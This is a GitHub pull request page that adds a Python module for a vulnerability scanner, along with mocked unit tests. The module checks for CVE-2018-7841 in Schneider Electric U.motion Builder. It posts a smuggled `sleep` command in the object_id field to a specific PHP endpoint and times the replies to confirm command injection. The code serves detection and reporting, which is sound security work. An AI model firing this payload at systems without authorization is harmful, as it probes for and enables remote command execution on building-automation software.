Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2018-7841 #17

Merged
merged 15 commits into from
Nov 27, 2023
90 changes: 90 additions & 0 deletions agent/exploits/cve_2018_7841.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,90 @@
"""Agent Asteroid implementation for CVE-2018-7841"""
import requests
from ostorlab.agent.kb import kb
from ostorlab.agent.mixins import agent_report_vulnerability_mixin
from requests import exceptions as requests_exceptions

from agent import definitions
from agent import exploits_registry

VULNERABILITY_TITLE = "Schneider Electric U.motion Builder SQL Injection Vulnerability"
VULNERABILITY_REFERENCE = "CVE-2018-7841"
VULNERABILITY_DESCRIPTION = (
"A SQL Injection (CWE-89) vulnerability exists in U.motion Builder software version "
"1.3.4 which could cause unwanted code execution when an improper set of characters is entered."
)

DEFAULT_TIMEOUT = 90
MAX_DELAY_DIFFERENCE = 5
DELAYS = [30, 40, 50, 60]
TARGET_ENDPOINT = "/smartdomuspad/modules/reporting/track_import_export.php"


@exploits_registry.register
class CVE20187841Exploit(definitions.Exploit):
"""
CVE-2018-7841: Schneider Electric U.motion Builder SQL Injection Vulnerability
"""

def accept(self, target: definitions.Target) -> bool:
target_uri = f"{target.scheme}://{target.host}:{target.port}"
try:
resp = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False
return resp.status_code == 200

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
target_uri = f"{target.scheme}://{target.host}:{target.port}"
session = requests.Session()

for delay in DELAYS:
data = f"op=export&language=english&interval=1&object_id=`sleep {delay}`"
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
try:
resp = session.post(
target_uri + TARGET_ENDPOINT,
timeout=DEFAULT_TIMEOUT,
data=data,
)
except requests_exceptions.RequestException:
return []
elapsed = resp.elapsed.seconds
if elapsed < delay or elapsed - delay > MAX_DELAY_DIFFERENCE:
return []

vulnerability = self._create_vulnerability(target_uri)
return [vulnerability]

def _create_vulnerability(self, target_uri: str) -> definitions.Vulnerability:
entry = kb.Entry(
title=VULNERABILITY_TITLE,
risk_rating="CRITICAL",
short_description=VULNERABILITY_DESCRIPTION,
description=VULNERABILITY_DESCRIPTION,
references={
"nvd.nist.gov": f"https://nvd.nist.gov/vuln/detail/{VULNERABILITY_REFERENCE}",
"exploit-db.com": "https://www.exploit-db.com/exploits/46846",
"rcesecurity.com": "https://www.rcesecurity.com/2019/05/"
"cve-2018-7841-schneider-electric-umotion-builder-remote-code-execution-0-day/",
},
recommendation=(
"- Make sure to install the latest security patches from software vendor \n"
"- Update to the latest software version"
),
security_issue=True,
privacy_issue=False,
has_public_exploit=True,
targeted_by_malware=True,
targeted_by_ransomware=True,
targeted_by_nation_state=True,
)
technical_detail = (
f"{target_uri} is vulnerable to {VULNERABILITY_REFERENCE}, "
f"{VULNERABILITY_TITLE}"
)
vulnerability = definitions.Vulnerability(
entry=entry,
technical_detail=technical_detail,
risk_rating=agent_report_vulnerability_mixin.RiskRating.CRITICAL,
)
return vulnerability
58 changes: 58 additions & 0 deletions tests/exploits/cve_2018_7841_test.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
"""Unit tests for CVE-2018-7841"""
import datetime
import random

import requests
from pytest_mock import plugin

from agent import definitions
from agent.exploits import cve_2018_7841


def testCVE20187841_whenVulnerable_reportFinding(mocker: plugin.MockerFixture) -> None:
"""Unit test for CVE-2018-7841, case when target is vulnerable."""

delays = [60, 50, 40, 30]

def side_effect(*args, **kwargs): # type: ignore[no-untyped-def]
mock_response = mocker.Mock(spec=requests.Response)
elapsed = datetime.timedelta(seconds=delays.pop())

mock_response.elapsed = elapsed
return mock_response

mocker.patch("requests.sessions.Session.post", side_effect=side_effect)

target = definitions.Target(scheme="https", host="127.0.0.1", port=443)
exploit_instance = cve_2018_7841.CVE20187841Exploit()

vulnerabilities = exploit_instance.check(target)
vulnerability = vulnerabilities[0]

assert (
vulnerability.entry.title
== "Schneider Electric U.motion Builder SQL Injection Vulnerability"
)
assert vulnerability.technical_detail == (
"https://127.0.0.1:443 is vulnerable to CVE-2018-7841, Schneider Electric "
"U.motion Builder SQL Injection Vulnerability"
)
assert vulnerability.risk_rating.name == "CRITICAL"


def testCVE20187841_whenSafe_reportNothing(mocker: plugin.MockerFixture) -> None:
"""Unit test for CVE-2018-7841, case when target is safe."""

def side_effect(*args, **kwargs): # type: ignore[no-untyped-def]
mock_response = mocker.Mock(spec=requests.Response)
elapsed = datetime.timedelta(seconds=random.randint(30, 90))
mock_response.elapsed = elapsed
return mock_response

mocker.patch("requests.sessions.Session.post", side_effect=side_effect)
target = definitions.Target(scheme="https", host="127.0.0.1", port=443)
exploit_instance = cve_2018_7841.CVE20187841Exploit()

vulnerabilities = exploit_instance.check(target)

assert len(vulnerabilities) == 0
Loading